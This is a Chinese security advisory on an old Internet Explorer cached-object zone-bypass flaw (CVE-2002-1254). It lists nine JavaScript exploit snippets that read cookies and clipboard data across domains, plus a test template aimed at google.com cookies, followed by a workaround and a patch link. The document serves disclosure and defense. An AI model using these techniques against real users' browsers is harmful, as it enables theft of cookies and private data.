首页 -> 安全研究
安全研究
安全漏洞
Microsoft Internet Explorer多个缓存对象区域绕过漏洞
发布日期:2002-10-22
更新日期:2002-10-28
受影响系统:
Microsoft Internet Explorer 5.5SP2不受影响系统:
Microsoft Internet Explorer 5.5SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
- Microsoft Windows XP
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
Microsoft Internet Explorer 6.0SP1描述:
Microsoft Internet Explorer 5.0.1SP2
BUGTRAQ ID: 6028
CVE(CAN) ID: CVE-2002-1254
Microsoft Internet Explorer是微软开发和维护的WEB浏览器。
Internet Explorer在处理缓存对象(cached objects)时存在问题,远程攻击者可以利用这个漏洞执行其他域和安全区域中的脚本代码,造成信息泄露等问题。
当窗口之间通信的时候,MSIE安全机制必须确保页面在同一安全区域和同一域中,而缓存对象处理中MSIE安全机制对访问控制检查不充分。当攻击者在自己站点页面中打开窗口时IE会缓存主窗口到子窗口的引用(类似C的指针),虽然这时候子窗口内访问的URL可能已经改变了,但主窗口通过调用引用还是能够被控制,这样就可能使的直接访问不同域和不同安全区域中的内容。攻击者可以通过构建恶意WEB页面,并诱使用户点击,窃取目标用户COOKIE信息,泄露目标用户本地系统文件。
下面9个漏洞都是相关于对象缓存问题,但是每个漏洞都是独立的漏洞,使用独立的方法进行利用。下面所描述的包含3个部分,"Cache"显示怎样缓存有问题的对象,"Exploit"显示漏洞怎样工作,"Impact"描述漏洞的危害。
"Full access"表示可以访问任意域和任意安全区域中的任意页面文档对象模型(DOM)。
1. showModalDialog
Cache: var fVuln=oWin.showModalDialog;
Exploit - IE 5.5:
fVuln("javascript:alert(dialogArguments.document.cookie)",oWin,"");
Exploit - IE 6: 利用难度比较大,可使用"analyze.dlg"
vulnerability.
Impact: 在IE5.5中完全访问, IE6中"My Computer"安全区域可访问。
2. external
Cache: var oVuln=oWin.external;
Exploit: oVuln.NavigateAndFind("javascript:alert(document.cookie)","","");
Impact: Full access.
3. createRange
Cache: var fVuln=oWin.document.selection.createRange;
Exploit: fVuln().pasteHTML("<img
src=\"javascript:alert(document.cookie)\">");
Impact: Full access.
4. elementFromPoint
Cache: var fVuln=oWin.document.elementFromPoint;
Exploit: alert(fVuln(1,1).document.cookie);
Impact: Full access.
5. getElementById
Cache: var fVuln=oWin.document.getElementById;
Exploit: alert(fVuln("ElementIdInNewDoc").document.cookie);
Impact: Full access.
6. getElementsByName
Cache: var fVuln=oWin.document.getElementsByName;
Exploit: alert(fVuln("ElementNameInNewDoc")[0].document.cookie);
Impact: Full access.
7. getElementsByTagName
Cache: var fVuln=oWin.document.getElementsByTagName;
Exploit: alert(fVuln("BODY")[0].document.cookie);
Impact: Full access.
8. execCommand
Cache: var fVuln=oWin.document.execCommand;
Exploit: fVuln("SelectAll"); fVuln("Copy");
alert(clipboardData.getData("text"));
Impact: 读区访问装载的文档
9. clipboardData
Cache: var oVuln=oWin.clipboardData;
Exploit: alert(oVuln.getData("text")); or oVuln.setData("text","data");
Impact: 无需考虑设置,读/写访问剪贴板
<*来源:GreyMagic Software (security@greymagic.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103538673715363&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
使用如上其中之一的缓存模式读取客户端"google.com" COOKIE信息:
<script language="jscript">
var oWin=open("blank.html","victim","width=100,height=100");
[Cache line here]
location.href="http://google.com";
setTimeout(
function () {
[Exploit line(s) here]
},
3000
);
</script>
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 暂时关闭浏览器的Active Scripting执行。
厂商补丁:
Microsoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
Microsoft Patch ie6sp1
http://www.microsoft.com/windows/ie/downloads/critical/ie6sp1/default.asp
浏览次数:3232
严重程度:0(网友投票)
绿盟科技给您安全的保障